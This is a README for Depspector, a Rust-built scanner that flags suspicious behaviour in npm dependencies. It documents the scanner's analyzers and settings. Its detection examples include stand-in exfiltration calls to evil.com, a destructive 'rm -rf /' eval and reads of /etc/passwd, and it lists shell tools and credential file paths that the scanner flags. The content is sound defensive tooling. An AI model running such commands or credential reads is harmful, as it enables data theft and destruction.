Skip to content

Post-install security analysis tool for npm dependencies

Notifications You must be signed in to change notification settings

drodil/depspector

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

73 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Depspector

Depspector Logo

Depspector is an advanced post-install security analysis tool for npm dependencies. It goes beyond simple CVE checks by performing deep static analysis and behavioral heuristic detection on your node_modules.

Built with Rust for maximum performance and compiled to native Node.js bindings using napi-rs.

Features

  • 🕵️ Deep Static Analysis: Detects suspicious code patterns across 20 specialized analyzers:
    • Environment Variables: Monitors process.env access with configurable whitelisting
    • Network Activity: Detects network requests (fetch, http, axios) with host whitelisting
    • Dynamic Code Execution: Flags eval(), new Function(), and vm.runInContext() usage
    • File System Access: Detects access to 60+ sensitive paths (credentials, SSH keys, system files, etc.)
    • Obfuscation Detection: Identifies suspiciously long strings (configurable threshold)
    • Buffer Encoding: Flags suspicious Buffer.from() usage that may decode payloads
    • Process Spawning: Detects child process execution and low-level spawn calls
    • Secrets Detection: Identifies hardcoded credentials (AWS keys, private keys, API tokens)
    • System Metadata: Flags collection of system information (os.userInfo(), network interfaces)
    • Prototype Pollution: Detects attempts to pollute object prototypes
    • Minified Code: Identifies minified or obfuscated code patterns
    • IP Addresses: Detects hardcoded public IP addresses
    • Base64 Blobs: Flags large Base64 strings that may contain hidden payloads
  • 🛡️ Supply Chain Security:
    • CVE Detection: Checks packages against OSV (Open Source Vulnerabilities) database for known CVEs
    • Typosquatting Detection: Identifies packages with names similar to popular libraries
    • Cooldown Period: Flags newly published packages (configurable, default <72h)
    • Dormant Package Detection: Alerts on packages updated after long inactivity (configurable, default >1 year)
    • Reputation Analysis: Checks maintainer count, provenance, and publisher trustworthiness
    • Lifecycle Scripts: Flags suspicious install/postinstall scripts
    • Native Code: Alerts on packages with native bindings that can execute arbitrary code
  • 📦 Comprehensive Scanning:
    • Automatic transitive dependency scanning
    • Parallel analysis for performance
    • Smart package caching to avoid re-analyzing unchanged packages
  • ⚙️ Highly Configurable:
    • Fine-tune each analyzer via .depspectorrc configuration file
    • Whitelist trusted domains, environment variables, and users
    • Customize detection thresholds (string lengths, time periods, etc.)
    • Enable/disable individual analyzers
    • Configure severity levels and fail-fast behavior
  • 🔍 Advanced Features:
    • Incremental scanning with --only-new flag
    • Cache management for faster subsequent scans
    • Detailed reporting with severity levels (critical/high/medium/low)
    • HTML reports with interactive dependency graphs (--html)
    • Interactive TUI mode for issue review and management (--interactive)
    • CI/CD friendly with configurable exit codes

Installation

NPM

npm install -g depspector # OR npm install --save-dev depspector

YARN

yarn add --dev depspector

Usage

Run Depspector in your project root:

npx depspector

Examples

# Run with verbose output npx depspector --verbose # Clear cache before scanning npx depspector --clear-cache # Show only new issues npx depspector --only-new # Fail fast on first high severity issue npx depspector --fail-fast # Run in offline mode (skip network-dependent analyzers) npx depspector --offline # Analyze a different project directory npx depspector --cwd /path/to/project # Generate an HTML report with dependency graph npx depspector --html report.html # Run in interactive mode to review issues npx depspector --interactive # Show detailed benchmark/timing information npx depspector --benchmark

Development Usage

If you're developing depspector, use these commands:

# Build the native binary (release) npm run build # Build the native binary (debug, faster compilation) npm run build:debug # Run Rust tests npm run cargo:test # Run locally node bin.js [options]

Options

  • -p, --path <path>: Path to node_modules (default: ./node_modules).
  • --exclude-path <path...>: Exclude specific file paths from analysis (can be specified multiple times).
  • -c, --config <path>: Path to configuration file (default: .depspectorrc).
  • --cwd <path>: Working directory where to run the analysis (default: .).
  • --verbose: Show detailed progress.
  • --no-cache: Disable package result caching (forces fresh analysis even if unchanged).
  • --no-color: Disable colored terminal output. Useful for piping to files or CI systems that don't support ANSI colors.
  • --clear-cache: Clear stored cache entries before scanning (use to force full regeneration while keeping caching enabled afterward).
  • --fail-fast: Stop analysis immediately when the first issue at or above the configured exitWithFailureOnLevel is found (useful for CI/CD to fail quickly).
  • --only-new: Show only new issues found in this scan, excluding issues from cached packages (useful for incremental analysis).
  • --offline: Disable analyzers that require network access (CVE, cooldown, dormant, reputation, deprecated). Useful for environments without internet access or to speed up scans.
  • -a, --analyzer <name...>: Run only specific analyzers (can be specified multiple times). Overrides config file settings. Example: --analyzer cve --analyzer deprecated.
  • --ignore-issue <id...>: Ignore specific issues by their ID (can be specified multiple times). Issue IDs are displayed in brackets after each finding.
  • --concurrency <n>: Maximum number of concurrent package analyses (defaults to number of CPU cores).
  • --init-config [path]: Initialize a default configuration file. Defaults to .depspectorrc if no path is provided. If package.json is specified, the config is added to the "depspector" field.
  • --json <path>: Output the analysis report as JSON to the specified file.
  • --yaml <path>: Output the analysis report as YAML to the specified file.
  • --csv <path>: Output the analysis report as CSV to the specified file. Each row contains: package, file, line, severity, type, message, code, id.
  • --report-level <level>: Minimum severity level to report (critical, high, medium, low). Overrides the config file setting.
  • --benchmark: Show detailed timing information for each analyzer and phase. Useful for performance profiling and identifying slow analyzers.
  • --include-tests: Include test files in analysis. By default, test files are skipped (e.g., *.test.js, *.spec.ts, jest.config.js).
  • --include-dev-deps: Include dev dependencies in analysis. By default, dev dependencies are excluded to focus on production security.
  • --skip-transient: Skip transient dependencies and only scan packages listed directly in your root package.json (both dependencies and devDependencies if --include-dev-deps is set).
  • --exclude-sources: Exclude local source files and workspace packages from analysis. By default, depspector scans both your project's source files and any workspace packages alongside node_modules dependencies.
  • --exclude-deps: Exclude node_modules dependencies from analysis. Use with source scanning to analyze only your project's own code.

Performance

Depspector includes several optimizations for faster scanning:

  • Native Performance: Written in Rust and compiled to native code for maximum speed.
  • Package Caching: Caches both the fact a package was scanned and its findings. If a package's package.json is unchanged, its previous results are reused in the report (not silently dropped) and the code is not re-parsed.
  • Parallel Analysis: Package-level analyzers and file-level analyzers run in parallel to maximize performance.
  • Configurable Cache Directory: Use cacheDir in configuration to control where cache files are stored (useful for CI environments).
  • Cache Freshness Control: Configure maximum cache lifetime with cacheMaxAgeSeconds to automatically skip stale entries.

The first scan may be slow as it goes through all package dependencies.

To force a fresh scan of everything, either clear the cache directory or point cacheDir to a clean temporary location before running.

You can also use the CLI flags:

  • --clear-cache to wipe existing cached entries before the scan starts.
  • --no-cache to skip both reading and writing cache data for that run.
  • --only-new to show only issues from packages analyzed fresh in this run (cached packages are still listed but their issues are marked as cached).

Configuration

Create a .depspectorrc (or .depspectorrc.json, depspector.config.json) file in your project root, or add a "depspector" property to your package.json:

{ "analyzers": { "network": { "allowedHosts": ["google.com", "api.stripe.com"] }, "reputation": { "whitelistedUsers": ["github-actions[bot]", "renovate[bot]"] }, "env": { "enabled": false, "allowedEnvVars": ["NODE_ENV", "CI"] }, "fs": { "enabled": true, "severity": "medium" }, "minified": { "severity": "low" } }, "exclude": ["internal-package"], "ignoreIssues": ["MYPACKAG-NETWORK-A1B2C3", "OTHERPACK-SECRETS-9F8E7D"], "exitWithFailureOnLevel": "high", "reportLevel": "medium" }

Configuration Options

Option Type Default Description
analyzers Object All enabled Configure individual analyzers (see Analyzers table).
exclude Array<string> [] Package names to exclude from scanning.
excludePaths Array<string> [] File paths (relative to package root) to exclude from analysis.
ignoreIssues Array<string> [] Issue IDs to ignore. Issue IDs are displayed in brackets after each finding in the report.
exitWithFailureOnLevel "critical" | "high" | "medium" | "low" | "off" "high" Exit with code 1 if issues at this severity level or higher are found. Use "off" to disable.
reportLevel "critical" | "high" | "medium" | "low" "medium" Only report issues at this severity level or higher. If not set, all issues are reported.
failFast boolean false Stop analysis immediately when first issue at or above exitWithFailureOnLevel is found.
includeTests boolean false Include test files in analysis. By default, test files are skipped (see patterns below).
includeDevDeps boolean false Include dev dependencies in analysis. By default, dev-only packages are excluded to focus on production security.
includeOptionalDeps boolean false Include optional dependencies in analysis. By default, optional packages are excluded.
skipTransient boolean false Skip transient dependencies and only scan packages listed in root package.json.
cacheDir string System temp dir Directory to cache analysis results. Defaults to OS temp directory.
cacheMaxAgeSeconds number null Max age for a cache entry in seconds. If set, entries older than this are ignored and re-analyzed.
maxFileSize number 5242880 Maximum file size in bytes for AST-based analyzers. Larger files are skipped. Default 5MB.
astTimeoutMs number 0 Timeout in milliseconds for AST parsing per file. 0 means no timeout. Useful for skipping files that take too long to parse.
npm Object {} NPM registry configuration (see below).

Dependency Filtering:

By default, Depspector excludes dev and optional dependencies to focus on production security. This behavior can be customized:

  • Dev dependencies: Packages that are only reachable through devDependencies in the dependency tree are excluded. Use includeDevDeps: true or --include-dev-deps to include them.
  • Optional dependencies: Packages that are only reachable through optionalDependencies in the dependency tree are excluded. Use includeOptionalDeps: true or --include-optional-deps to include them.
  • Transient dependencies: Packages that are not directly listed in your root package.json (they're dependencies of your dependencies). Use skipTransient: true or --skip-transient to exclude them and only scan direct dependencies.

Example combinations:

# Scan only production dependencies (default) npx depspector # Scan production + dev dependencies npx depspector --include-dev-deps # Scan production + optional dependencies npx depspector --include-optional-deps # Scan only direct dependencies (no transient) npx depspector --skip-transient # Scan only direct production + dev dependencies npx depspector --include-dev-deps --skip-transient

Test File Patterns (skipped by default):

The following patterns are recognized as test files and excluded unless includeTests is enabled:

  • Suffixes: *.test.js, *.spec.ts, *.tests.js, *.specs.ts, *_test.js, *-spec.ts (and variants for .mjs, .cjs)
  • Config files: jest.config.js, jest.setup.ts, vitest.config.js, karma.conf.js, mocha.opts
  • Helper files: test.js, spec.js, test-helper.js, test-utils.js, setup-tests.js

NPM Registry Configuration

The npm object allows you to configure custom npm registries and authentication:

{ "npm": { "registry": "https://registry.npmjs.org", "token": "your-npm-token" } }

Or with basic authentication:

{ "npm": { "registry": "https://custom-registry.example.com", "username": "your-username", "password": "your-password" } }
Property Type Description
registry string NPM registry URL (default: https://registry.npmjs.org)
token string NPM authentication token (Bearer token)
username string Username for basic authentication
password string Password for basic authentication

AI Verification (Experimental)

Depspector can use AI (OpenAI or Google Gemini) to automatically verify reported issues and filter out false positives. This significantly reduces noise by analyzing the code context around each finding.

Configuration

Add the ai section to your .depspectorrc:

{ "ai": { "enabled": true, "provider": "openai", "apiKey": "your-api-key", "model": "gpt-4o-mini", // Optional, defaults to gpt-4o-mini "threshold": "high", // Only verify High and Critical issues "endpoint": "https://your-custom-openai-instance/v1/chat/completions", // Optional, for self-hosted LLMs "maxIssues": 10 // Optional, limit the number of issues verified (prioritizing critical) } }
Property Type Default Description
enabled bool false Enable AI verification.
provider string "openai" AI provider: "openai" or "gemini".
apiKey string null API key. Can also be set via OPENAI_API_KEY or GEMINI_API_KEY env vars.
model string (auto) Model to use (e.g., gpt-4o-mini, gemini-1.5-flash).
threshold string "high" Minimum severity to verify. Low severity issues are skipped to save tokens.
endpoint string (auto) Custom endpoint for OpenAI or Gemini.
maxIssues number 10 Maximum number of issues to verify.

Caution

Privacy Warning: When AI verification is enabled, snippets of your code (including the flagged lines and surrounding context) are sent to the configured third-party AI provider. Do not enable this on codebases with strict data egress policies without review.

Privacy Warning: When AI verification is enabled, snippets of your code (including the flagged lines and surrounding context) are sent to the configured third-party AI provider. Do not enable this on codebases with strict data egress policies without review.

Interactive Triage Mode

Depspector includes an interactive terminal user interface (TUI) for reviewing and managing identified issues. Run with --interactive (or -i) to start this mode.

Features of Interactive Mode:

  • Browse Issues: Navigate through the list of found issues.
  • View Details: See full issue details, including code snippets and AI analysis.
  • Ignore Issues: Quickly add false positives to your configuration's ignore list with a single keystroke.
  • Open in Editor: Open the relevant file in your default editor at the specific line number.

HTML Reporting

Generate a comprehensive HTML report including a visual dependency graph using Mermaid.js:

npx depspector --html report.html

The report includes:

  • Summary: Overview of found issues by severity.
  • Dependency Graph: A visual representation of your project's dependency tree, highlighting relationships between packages.
  • Detailed Findings: Full list of issues with code snippets, severity levels, and AI verification results.

Post-Install Hook

To automatically scan dependencies after every install, add this to your package.json:

{ "scripts": { "postinstall": "depspector" } }

Ignoring Specific Issues

Sometimes you may want to ignore specific issues that are false positives or accepted risks. Each issue detected by Depspector has a unique ID displayed in the report output.

Finding Issue IDs

When you run a scan, issue IDs are shown in gray brackets after each finding:

[MEDIUM] Suspicious network request detected (Line 42) [ID: MYPACKAG-NETWORK-A1B2C3] 

Ignoring via Configuration

Add issue IDs to your .depspectorrc file:

{ "ignoreIssues": ["MYPACKAG-NETWORK-A1B2C3", "OTHERPACK-SECRETS-9F8E7D"] }

Ignoring via CLI

You can also ignore issues temporarily using the --ignore-issue flag:

# Ignore a single issue npx depspector --ignore-issue MYPACKAG-NETWORK-A1B2C3 # Ignore multiple issues npx depspector --ignore-issue MYPACKAG-NETWORK-A1B2C3 --ignore-issue OTHERPACK-SECRETS-9F8E7D

The CLI flag can be combined with configuration file settings. Both will be merged together.

If you pass ignored issue IDs that do not match any findings, Depspector will print a note listing those IDs so you can clean up stale ignores.

Analyzers

Common Analyzer Options

All analyzers support the following common configuration options:

Property Type Default Description
enabled boolean true Enable or disable the analyzer.
severity "critical" | "high" | "medium" | "low" (per-issue) Override severity for all issues from this analyzer. If not set, each issue uses its own level.

Example:

{ "analyzers": { "minified": { "enabled": true, "severity": "low" }, "secrets": { "severity": "critical" } } }

Analyzer Reference

Analyzer Default Description
base64 âś… Flags large Base64 blobs. Configurable minBufferLength.
buffer âś… Flags suspicious Buffer.from() usage. Configurable minBufferLength.
cooldown âś… Flags newly published packages. Configurable hoursSincePublish.
cve âś… Checks packages against OSV.dev database for known CVEs. Configurable timeout & thresholds.
deprecated âś… Detects packages marked as deprecated in the npm registry.
dormant âś… Alerts on packages updated after long inactivity. Configurable daysSincePreviousPublish.
dynamic ❌ Detects vm.runInContext() and dynamic require patterns. Disabled by default due to high noise.
env âś… Detects access to environment variables (process.env). Supports allowedEnvVars whitelist.
eval âś… Flags eval(), new Function(), and setTimeout/setInterval with strings. Severity based on content.
fs âś… Detects access to sensitive paths. Supports additionalDangerousPaths.
ip âś… Detects hardcoded public IP addresses. Ignores private ranges.
license âś… Detects packages using restrictive or problematic licenses. Supports allowedLicenses whitelist.
metadata ❌ Flags collection of system information (os.userInfo(), network interfaces). Disabled by default.
minified âś… Identifies minified or obfuscated code. Configurable line length and variable density.
native âś… Alerts on packages with native bindings.
network âś… Detects network requests. Supports allowedHosts whitelist with sensible defaults.
obfuscation âś… Detects suspiciously long strings (potential obfuscation). Configurable minStringLength.
pollution âś… Detects prototype pollution attempts.
process âś… Detects child process spawning and low-level spawn calls.
reputation âś… Checks maintainer count and publisher trustworthiness. Supports whitelistedUsers.
scripts âś… Flags suspicious lifecycle scripts (install, postinstall, preinstall). Supports allowedCommands.
secrets âś… Identifies hardcoded credentials (AWS keys, private keys, API tokens).
typosquat ❌ Identifies packages with names similar to popular libraries. Disabled by default due to performance impact.

Note: Disabled analyzers (❌) can be enabled by setting "enabled": true in your configuration details.

Process Analyzer Configuration

The process analyzer detects child process execution (spawn, exec, execFile). You can whitelist specific commands that are safe to execute:

{ "analyzers": { "process": { "allowedCommands": ["git", "node", "npm"] } } }
Property Type Default Description
allowedCommands string[] [] List of commands allowed to be spawned

License Analyzer Configuration

The license analyzer checks package licenses against a list of risky licenses. You can configure which licenses are considered risky and their severity:

{ "analyzers": { "license": { "riskyLicenses": { "GPL-3.0": "high", "AGPL-3.0": "critical" }, "allowedLicenses": ["MIT", "Apache-2.0"] } } }
Property Type Default Description
riskyLicenses Object (defaults) Map of license IDs to severity levels.
allowedLicenses string[] [] List of explicitly allowed licenses (overrides risky).

Typosquat Analyzer Configuration

The typosquat analyzer checks for packages with names similar to popular ones. You can manually add packages to the list of popular packages:

{ "analyzers": { "typosquat": { "popularPackages": ["react", "lodash", "express"] } } }
Property Type Default Description
popularPackages string[] [] List of additiona popular package names to check against

CVE Analyzer Configuration

The cve analyzer queries the OSV.dev database for known vulnerabilities affecting your dependencies. It maps CVE severity scores to Depspector's severity levels.

CVSS Score Thresholds:

  • Critical: CVSS score ≥ 9.0
  • High: CVSS score ≥ 7.0
  • Medium: CVSS score ≥ 4.0
  • Low: CVSS score < 4.0
{ "analyzers": { "cve": { "enabled": true, "cvssCritical": 9.0, "cvssHigh": 7.5, "cvssMedium": 4.5 } } }
Property Type Default Description
cvssCritical number 9.0 Minimum score for Critical severity.
cvssHigh number 7.0 Minimum score for High severity.
cvssMedium number 4.0 Minimum score for Medium severity.

Note: CVE scanning requires network access to api.osv.dev. Queries are made per package version and failures are silently ignored to avoid blocking analysis on network issues.

Env Analyzer Configuration

The env analyzer detects access to environment variables (process.env). By default, common Node.js environment variables are whitelisted to reduce noise:

Default Allowed Variables: NODE_ENV, DEBUG, PORT, HOST, HOSTNAME, PATH, HOME, USER, SHELL, LANG, LC_ALL, TZ, CI, npm_package_name, npm_package_version, npm_lifecycle_event, NODE_DEBUG, NODE_OPTIONS, NODE_PATH, UV_THREADPOOL_SIZE, NODE_EXTRA_CA_CERTS, NODE_TLS_REJECT_UNAUTHORIZED, NO_COLOR, FORCE_COLOR, TERM, COLORTERM, PWD, OLDPWD, TMPDIR, TEMP, TMP

You can override the defaults with your own whitelist:

{ "analyzers": { "env": { "allowedEnvVars": ["NODE_ENV", "CI", "MY_CUSTOM_VAR"] } } }
Property Type Default Description
allowedEnvVars string[] (common Node.js env vars) Environment variables to ignore when accessed.

Any access to process.env.<VAR> where <VAR> is in allowedEnvVars will be ignored. Bare process.env access and non-whitelisted variables will still be reported.

Network Analyzer Configuration

The network analyzer detects network requests (fetch, axios, http.get, WebSocket, etc.). By default, common safe hosts are whitelisted to reduce noise from legitimate package behavior:

Default Allowed Hosts: localhost, 127.0.0.1, ::1, 0.0.0.0, registry.npmjs.org, registry.yarnpkg.com, npm.pkg.github.com, github.com, raw.githubusercontent.com, api.github.com, gitlab.com, bitbucket.org, npmjs.com, unpkg.com, cdn.jsdelivr.net, esm.sh, deno.land

You can override the defaults with your own whitelist:

{ "analyzers": { "network": { "allowedHosts": ["api.mycompany.com", "internal.service.local"] } } }
Property Type Default Description
allowedHosts string[] (common safe hosts) Hosts to ignore when network requests are made.

Data Flow Analysis: The analyzer uses data flow analysis to resolve URLs stored in variables, template literals, and string concatenation:

// Direct URL - detected fetch("http://evil.com/steal"); // Variable - resolved via data flow analysis const url = "http://evil.com/steal"; fetch(url); // Detected // Template literal - resolved const host = "evil.com"; fetch(`http://${host}/steal`); // Detected

Note: The analyzer only flags actual network function calls (like fetch(), axios.get(), http.request()). URL strings in configuration objects or templates are not flagged.

Fs Analyzer Configuration

The fs analyzer detects suspicious file system access. By default, it checks for sensitive paths like /etc/passwd, .ssh, .npmrc, /proc/self/environ, and lock files. The analyzer uses data flow analysis to resolve paths stored in variables, template literals, string concatenation, and object properties.

Data Flow Examples:

// Direct path - detected fs.readFileSync("/etc/passwd"); // Variable - resolved via data flow analysis const path = "/etc/passwd"; fs.readFile(path); // Detected // Template literal - resolved const base = "/etc"; fs.readFile(`${base}/passwd`); // Detected // String concatenation - resolved fs.readFile("/etc" + "/passwd"); // Detected // Object property - resolved const config = { path: "/etc/passwd" }; fs.readFile(config.path); // Detected

You can add additional paths to monitor:

{ "analyzers": { "fs": { "additionalDangerousPaths": [".env", ".aws/credentials", "/etc/shadow"] } } }
Property Type Default Description
additionalDangerousPaths string[] [] Additional file paths to flag as suspicious when accessed.

The default dangerous paths include:

Unix/Linux System Files:

  • /etc/passwd, /etc/shadow, /etc/hosts, /etc/group
  • /proc/self/environ, /proc/self/cmdline, /proc/self/cwd

SSH & Authentication:

  • .ssh, id_rsa, id_ed25519, authorized_keys, known_hosts

NPM & Package Managers:

  • .npmrc, .yarnrc, .npmrc.yaml

Environment & Secrets:

  • .env, .env.local, .env.production, .env.development

Cloud Credentials:

  • .aws/credentials, .aws/config
  • .azure/credentials
  • .config/gcloud

Git Credentials:

  • .git/config, .git/credentials, .gitconfig, .git-credentials

Container & Orchestration:

  • .docker/config.json
  • .kube/config, kubeconfig

Database Credentials:

  • .pgpass, .my.cnf, .redis/redis.conf

Lock Files:

  • package-lock.json, yarn.lock, pnpm-lock.yaml
  • composer.lock, Gemfile.lock

Private Keys & Certificates:

  • .pem, .key, .p12, .pfx, .crt, .csr
  • private_key, privatekey

Shell History:

  • .bash_history, .zsh_history, .sh_history

Windows Specific:

  • C:\Windows\System32\config\SAM, C:\Windows\System32\config\SYSTEM
  • NTUSER.DAT

Obfuscation Analyzer Configuration

The obfuscation analyzer detects suspiciously long strings that may indicate obfuscated code. You can configure the minimum string length threshold:

{ "analyzers": { "obfuscation": { "minStringLength": 150 } } }
Property Type Default Description
minStringLength number 200 Minimum length of a string (without spaces) to be flagged as suspicious.

Buffer Analyzer Configuration

The buffer analyzer detects suspicious Buffer.from() usage that may indicate payload decoding or obfuscated code execution. You can configure the minimum buffer string length:

{ "analyzers": { "buffer": { "minBufferLength": 100 } } }
Property Type Default Description
minBufferLength number 100 Minimum length of buffer content to be flagged as suspicious.

Minified Analyzer Configuration

The minified analyzer identifies minified or obfuscated code using heuristics like line length and whitespace density. You can fine-tune these thresholds:

{ "analyzers": { "minified": { "maxLineLength": 1000, "maxWhitespaceRatio": 0.05, "minCodeLength": 500 } } }
Property Type Default Description
maxLineLength number 1000 Lines longer than this (chars) are flagged as suspicious.
maxWhitespaceRatio number 0.05 Files with whitespace ratio below this (e.g. 5%) are flagged.
minCodeLength number 500 Minimum file size (chars) to analyze, preventing noise on small files.

Ip Analyzer Configuration

The ip analyzer detects hardcoded public IP addresses. It automatically ignores private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8) and other non-routable addresses.

You can also whitelist specific IP addresses:

{ "analyzers": { "ip": { "enabled": true, "allowedIps": ["8.8.8.8", "1.1.1.1"] } } }
Property Type Default Description
allowedIps string[] [] List of IP addresses to ignore.

Base64 Analyzer Configuration

The base64 analyzer flags large Base64 strings that might conceal payloads. You can configure the minimum length:

{ "analyzers": { "base64": { "minBufferLength": 1000 } } }
Property Type Default Description
minBufferLength number 1000 Minimum length of Base64 string to be flagged.

Minified Analyzer Configuration

The minified analyzer uses heuristics to detect minified or obfuscated code.

{ "analyzers": { "minified": { "maxLineLength": 1000, "minCodeLength": 500, "maxWhitespaceRatio": 0.05 } } }
Property Type Default Description
maxLineLength number 1000 Max characters per line before flagging.
minCodeLength number 500 Minimum file size to apply whitespace check.
maxWhitespaceRatio number 0.05 Max ratio of whitespace to code (5%).

Cooldown Analyzer Configuration

The cooldown analyzer flags recently published packages. You can configure the time threshold:

{ "analyzers": { "cooldown": { "hoursSincePublish": 48 } } }
Property Type Default Description
hoursSincePublish number 72 Packages published within this many hours are flagged as new.

Dormant Analyzer Configuration

The dormant analyzer flags packages that were updated after a long period of inactivity. You can configure the dormancy threshold:

{ "analyzers": { "dormant": { "daysSincePreviousPublish": 180 } } }
Property Type Default Description
daysSincePreviousPublish number 365 Packages updated after this many days of inactivity are flagged as dormant.

Reputation Analyzer Configuration

The reputation analyzer can be configured to whitelist specific users (such as automated accounts) that should not trigger reputation issues:

{ "analyzers": { "reputation": { "whitelistedUsers": ["github-actions[bot]", "renovate[bot]"] } } }

This is useful for allowing packages published by bots like GitHub Actions, Renovate, or Release Please to bypass reputation checks.

Scripts Analyzer Configuration

The scripts analyzer flags suspicious lifecycle scripts (preinstall, install, postinstall). By default, common safe commands used by legitimate packages are whitelisted:

Default Allowed Commands (partial list):

  • Package managers: npm run, npm install, yarn run, pnpm run, lerna, nx, turbo
  • Git hooks: husky, lint-staged, simple-git-hooks, lefthook
  • Build tools: tsc, babel, webpack, rollup, esbuild, vite, parcel, swc
  • Native builds: node-gyp, prebuild, prebuild-install, cmake-js, node-pre-gyp
  • Utilities: patch-package, rimraf, shx, cross-env, copyfiles, ncp, cpy

You can add additional allowed commands with your own list:

{ "analyzers": { "scripts": { "allowedCommands": ["my-build-tool", "custom-script"] } } }

You can also whitelist specific script events entirely:

{ "analyzers": { "scripts": { "allowedScripts": ["postinstall"] } } }
Property Type Default Description
allowedCommands string[] (common safe build/install commands) Additional commands to ignore in lifecycle scripts.
allowedScripts string[] [] Script events to ignore entirely (e.g., postinstall).

Severity Classification: The scripts analyzer assigns severity based on script content:

  • Critical: Scripts containing curl, wget, bash -c, sh -c, eval, >, or pipe commands with URLs
  • High: Other potentially dangerous scripts
  • Medium: Scripts with less risky operations

Eval Analyzer Configuration

The eval analyzer detects dynamic code execution via eval(), new Function(), and setTimeout/setInterval with string arguments. Severity is determined by analyzing the content being evaluated.

Severity Classification:

  • Critical: Content contains suspicious patterns:

    • URLs (://, file://, data:)
    • Code execution (eval(, require(, exec(, spawn(, process., child_process, fs., Buffer.)
    • Network operations (fetch(, XMLHttpRequest, WebSocket)
    • Obfuscation (\x, \u00, fromCharCode, atob(, btoa()
  • Medium: Safe/common patterns used by legitimate libraries:

    • return this (common pattern to get global object)
    • return function, use strict, return arguments
    • Short, simple content (< 50 characters without semicolons)
  • High: Everything else (dynamic content that can't be resolved, longer code)

Examples:

// Medium severity - common safe pattern new Function("return this")(); // Critical severity - contains network URL new Function("fetch('http://evil.com')")(); // Critical severity - contains code execution eval("require('child_process').exec('rm -rf /')"); // Medium severity - simple content eval("1 + 1");

Process Analyzer Configuration

License Analyzer Configuration

The license analyzer checks package licenses for compliance with your organization's policies. It identifies packages using restrictive licenses that require derivative works to be published under the same license (copyleft), as well as licenses requiring source attribution.

Problematic License Categories:

  • Restrictive (High Severity): Require derivative works to be open source

    • GPL (all versions): GPL, GPL-2.0, GPL-3.0, GPL-3.0-or-later
    • AGPL: AGPL, AGPL-3.0, AGPL-3.0-or-later
    • SSPL: Server Side Public License
    • EUPL: European Union Public License v1.2+
  • Moderate (Medium Severity): Require source code attribution

    • MPL: MPL, MPL-2.0
    • CDDL: Common Development and Distribution License
    • CPAL: Common Public Attribution License

Allowed Licenses (No Issues):

  • MIT, Apache-2.0, BSD-2-Clause, BSD-3-Clause, ISC, and other permissive licenses

You can whitelist specific licenses that you've approved for use:

{ "analyzers": { "license": { "allowedLicenses": ["GPL-3.0", "custom-commercial-license"] } } }
Property Type Default Description
allowedLicenses string[] [] Licenses to allow despite being flagged as restrictive.

Example Output:

HIGH [license] (ID: PKG-LICENSE-ABC123): Package uses GPL-3.0 license which requires derivative works to be published under the same license. package.json:5 "license": "GPL-3.0" 
// Direct call - detected exec("curl http://evil.com"); // Variable - resolved via data flow analysis const cmd = "curl http://evil.com"; exec(cmd); // Detected as critical (curl) // Object property - resolved via data flow analysis const config = { binary: "bash" }; spawn(config.binary); // Detected as critical (bash)

Severity Classification: The process analyzer classifies severity based on the executed binary:

  • Critical: curl, wget, nc, netcat, bash, sh, zsh, fish, cmd, powershell, pwsh, python, perl, ruby, php, eval
  • High: node, npm, npx, yarn, pnpm, bun, deno, git, make, cmake, cargo, go, rustc, gcc, g++, clang, javac, java
  • Medium: cp, mv, rm, mkdir, rmdir, chmod, chown, cat, echo, ls, dir, find, grep, sed, awk, tar, gzip, zip, unzip

Additionally, critical severity is assigned for:

  • Commands containing URLs (://)
  • Pipe chains (|)
  • Shell injection patterns (|bash, |sh)
  • process.binding('spawn_sync') calls

Configuration Options:

{ "analyzers": { "process": { "enabled": true, "allowed_commands": ["git", "node", "npm"] } } }
  • allowed_commands: Array of command names that are safe to execute and should not trigger issues. Commands are matched case-insensitively by their binary name (e.g., /usr/bin/git matches "git").

Supported Platforms

Depspector provides pre-built native binaries for the following platforms:

Platform Architecture
macOS x64, ARM64
Linux (glibc) x64, ARM64
Linux (musl/Alpine) x64
Windows x64

Building from Source

If you need to build Depspector from source:

Prerequisites

Build Commands

# Clone the repository git clone https://github.com/drodil/depspector.git cd depspector # Install dependencies npm install # Build native binary (release) npm run build # Build native binary (debug) npm run build:debug # Run Rust tests cargo test # Run Clippy linter cargo clippy -- -D warnings # Format code cargo fmt

Contributing

We welcome contributions! Please see our Contributing Guidelines for more information.

License

MIT